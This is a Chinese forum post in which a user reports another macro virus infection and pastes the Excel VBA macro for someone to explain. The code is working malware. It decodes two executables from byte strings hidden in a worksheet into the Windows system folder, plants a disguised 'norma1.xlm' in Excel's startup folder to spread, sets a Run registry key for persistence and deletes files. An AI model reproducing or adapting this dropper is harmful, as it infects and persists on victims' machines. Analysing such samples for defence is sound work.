又中宏病毒了,郁闷,这代码我看不明白啊,那位给解释下哦
又中宏病毒了,郁闷,
Private Sub addsum()Dim buf As ByteOn Error Resume NextSet fso = CreateObject("scripting.filesystemobject")Set w = CreateObject("wscript.shell")myfolder = w.SpecialFolders("Templates") & "\Software\"folder1 = fso.getspecialfolder(1)If Not fso.folderexists(myfolder) Thenfso.createfolder myfolderEnd IfFor i = 1 To Workbooks.CountIf Workbooks(i).Name = "normal.xlm" ThenWorkbooks(i).Closefso.deletefile Application.StartupPath & "\normal.xlm"End IfNextFor i = 1 To Workbooks.CountIf Workbooks(i).Name = "norma1.xlm" ThenGoTo a1End IfNextfilesv = folder1 & "\winupdsv.exe"If Not fso.fileexists(filesv) ThenOpen filesv For Binary Access Write As #1For i = 1 To 54hv = ThisWorkbook.Sheets("@kbtasto@she3#").Cells(i, 5).Valuen = 1m = InStr(hv, " ")Do While m > 0buf = CByte(Mid(hv, n, m - n))Put #1, , bufn = m + 1m = InStr(n, hv, " ")LoopNextClose #1End Iffilesf = folder1 & "\sfcea.exe"If Not fso.fileexists(filesf) ThenOpen filesf For Binary Access Write As #1For i = 1 To 28hv = ThisWorkbook.Sheets("@kbtasto@she3#").Cells(i, 4).Valuen = 1m = InStr(hv, " ")Do While m > 0buf = CByte(Mid(hv, n, m - n))Put #1, , bufn = m + 1m = InStr(n, hv, " ")LoopNextClose #1End Iffilexlm = folder1 & "\norma1.xlm"If Not fso.fileexists(filexlm) ThenOpen filexlm For Binary Access Write As #1For i = 1 To 89hv = ThisWorkbook.Sheets("@kbtasto@she3#").Cells(i, 3).Valuen = 1m = InStr(hv, " ")Do While m > 0buf = CByte(Mid(hv, n, m - n))Put #1, , bufn = m + 1m = InStr(n, hv, " ")LoopNextClose #1End Iffso.copyfile filexlm, Application.StartupPath & "\", Truefso.deletefile filexlmw.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WinUpdsv", "winupdsv.exe"Workbooks.Open Application.StartupPath & "\norma1.xlm"ThisWorkbook.Sheets("@kbtasto@she3#").Columns(3).Copy Workbooks("norma1.xlm").Sheets("@kbtasto@she3#").Columns(3)ThisWorkbook.Sheets("@kbtasto@she3#").Columns(4).Copy Workbooks("norma1.xlm").Sheets("@kbtasto@she3#").Columns(4)ThisWorkbook.Sheets("@kbtasto@she3#").Columns(5).Copy Workbooks("norma1.xlm").Sheets("@kbtasto@she3#").Columns(5)Workbooks("norma1.xlm").Savefso.copyfile Application.StartupPath & "\norma1.xlm", myfolder, Truea1:fso.deletefile "c:\C0MS.sys"Application.DisplayAlerts = FalseThisWorkbook.Saved = TrueEnd Sub